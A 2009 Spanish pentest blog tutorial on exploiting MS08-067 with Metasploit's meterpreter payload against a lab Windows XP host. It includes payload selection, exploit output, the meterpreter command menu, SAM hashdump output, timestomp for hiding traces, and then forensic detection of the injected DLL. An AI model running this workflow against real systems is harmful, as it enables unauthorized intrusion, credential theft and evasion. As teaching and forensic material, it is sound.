Posted in Pentest on March 7th, 2009 by m313
El meterpreter o meta intérprete es una familia de plugins avanzados para utilizar sobre sistemas Windows comprometidos que tienen como característica fundamental su que todo es cargado en la memoria del sistema sin crear ningún proceso adicional. Además aporta mucha flexibilidad, permitiendo la inyección dinámica de dll’s.
Todo esto permite realizar los ataques haciendo algo menos de ruido. Hoy vamos a realizar la misma intrusión que hace unas semanas, pero utilizando como payload el meterpreter.
En esencia realizar la intrusión es igual, solo hay que seleccionar el payload de la familia meterpreter y en caso necesario modificar las opciones del payload elegido. Para la demo he utilizado una simple shell (windows/meterpreter/bind_tcp). La lista total es la siguiente:
msf exploit(ms08_067_netapi) > show payloads
Compatible payloads
===================
Name Description
—- ———–
windows/meterpreter/bind_ipv6_tcp Windows Meterpreter, Bind TCP Stager (IPv6)
windows/meterpreter/bind_nonx_tcp Windows Meterpreter, Bind TCP Stager (No NX Support)
windows/meterpreter/bind_tcp Windows Meterpreter, Bind TCP Stager
windows/meterpreter/reverse_ipv6_tcp Windows Meterpreter, Reverse TCP Stager (IPv6)
windows/meterpreter/reverse_nonx_tcp Windows Meterpreter, Reverse TCP Stager (No NX Support)
windows/meterpreter/reverse_ord_tcp Windows Meterpreter, Reverse Ordinal TCP Stager
windows/meterpreter/reverse_tcp Windows Meterpreter, Reverse TCP Stager
Esta shell a través del meterpreter tiene las siguientes opciones:
msf exploit(ms08_067_netapi) > show options
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
—- ————— ——– ———–
DLL C:/Documents and Settings/m313/Datos de programa/msf32/data/meterpreter/metsrv.dll yes The local path to the DLL to upload
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 192.168.1.66
Como podemos apreciar hay una opción para la dll que se inyectará en el sistema. Una vez definidas las opciones explotar el sistema no tiene misterio, se aprovecha la vulnerabilidad y se inyecta en memoria la dll correspondiente:
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 2 – lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability…
[*] Transmitting intermediate stager for over-sized stage…(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage…
[*] Uploading DLL (75787 bytes)…
[*] Upload completed.
[*] Meterpreter session 2 opened (192.168.1.8:1545 -> 192.168.1.66:4444)
Así de sencillo y ya estamos utilizando el meterpreter, sin embargo esto es solo el comienzo. Ahora desde la shell meterpreter tenemos muchas e interesantes opciones a las que accedemos con el caracter ?:
Core Commands
=============
Command Description
——- ———–
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
——- ———–
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
——- ———–
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
——- ———–
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components
Priv: Password database Commands
================================
Command Description
——- ———–
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
——- ———–
timestomp Manipulate file MACE attributes
Hay que resaltar la potencia de comandos para inyectar dll’s, subir ficheros, ejecutar scripts o uno que me gusta especialmente para migrar el meterpreter a otro proceso (migrate). Esto es especialmente importante si por ejemplo hemos utilizado un exploit contra una aplicación que el usuario pueda cerrar, como por ejemplo el Internet Explorer.
Probaremos uno que es especialmente util, el hashdump que sirve para extraer el contenido de la SAM, tal como podemos ver a continuación:
hashdump
Administrador:500:aad3b4b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Asistente de ayuda2:1000:7634e475b9740af3287b02a6be6eea:6118e99d59982568853cbf98a42f2a:::
Invitado:501:aad3b435b504eeaad3b435b51404ee:31d6c0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1002:aad35b51404eeaad3b435b51404ee:b7aec7c1c40967c5a965b09510f818e:::
test:1003:aad35b51404eeaad3b435b51404ee:31d6cfe06ae931b73c59d7e0c089c0:::
Desde el punto de vista del análisis forense de un sistema comprometido y utilizando el meterpreter tenemos un par de puntos interesantes, desde el punto de vista del atacante la opción timestop, que nos permite manipular los atributos de los ficheros, como el tiempo del ultimo acceso, modificación, etc.
Desde el punto de vita de la víctima hay que destacar que el meterpreter no deja rastro de sí mismo en el dico duro, por lo que es necesario un análisis de la memoria RAM para detectarlo. Lo que sí se puede detectar es la conexión entre las máquinas objetivo y atacante.
Imaginemos que estamos en la máquina comprometida y sospechamos que hemos podido ser víctimas de una intrusión. Una ejecución de un programa para ver los proceso del sistema nos alerta al comprobar que uno de los procesos svchost.exe tiene un número muy elevado de hilos y ocupa un tamaño muy considerable en relación con los demás (He utilizado la herramienta Hijackfree de a-squared ). La ejecución del comando netstat nos da la pista definitiva sobre la intrusión al desvelarnos la conexión establecida contra el atacante:
Como nota adicional comentar que si ejecutamos la herramienta ListDlls de SysInternals sobre el proceso sospechoso nos muestra la dll inyectada por el meterpreter (metsrv.dll), facilmente identificable porque no incorpora información acerca del versionado, tal como podemos apreciar a continuación(la salida está sesgada para su mejor lectura):
C:\Documents and Settings\Administrador\Escritorio>Listdlls.exe -r 1108
ListDLLs v2.25 – DLL lister for Win9x/NT
Copyright (C) 1997-2004 Mark Russinovich
Sysinternals – www.sysinternals.com
——————————————————————————
svchost.exe pid: 1108
Command line: C:\WINDOWS\System32\svchost.exe -k netsvcs
Base Size Version Path
l
0×76f80000 0×6000 5.01.2600.2180 C:\WINDOWS\System32\rasadhlp.dll
0×754e0000 0xa9000 5.01.2600.2180 C:\WINDOWS\System32\RASDLG.dll
0×77b10000 0×22000 5.01.2600.2180 C:\WINDOWS\system32\Apphelp.dll
0×50e60000 0xc000 7.02.6001.0788 C:\WINDOWS\system32\wups2.dll
0×10000000 0×17000 C:\WINDOWS\system32\metsrv.dll
0×76bb0000 0xb000 5.01.2600.2180 C:\WINDOWS\System32\PSAPI.DLL
0×71ce0000 0×1c000 6.00.2900.2180 C:\WINDOWS\system32\actxprxy.dll
0×75590000 0×9d000 5.01.2600.2180 C:\WINDOWS\system32\netcfgx.dll
Como conclusión resaltar que si lo que se pretende es simplemente evidenciar que un sistema es vulnerable quizá no sea necesario el meterpreter, pero si lo que se busca es comprometer el sistema haciendo el menor ruido posible, y utilizarlo como base para realizar futuros ataques o mantener el compromiso del mismo durante un largo periodo de tiempo meterpreter hará las delicias del intruso.
Referencias:
http://www.nologin.org/Downloads/Papers/meterpreter.pdf
http://www.learnsecurityonline.com/vid/MSF3-met/MSF3-met.html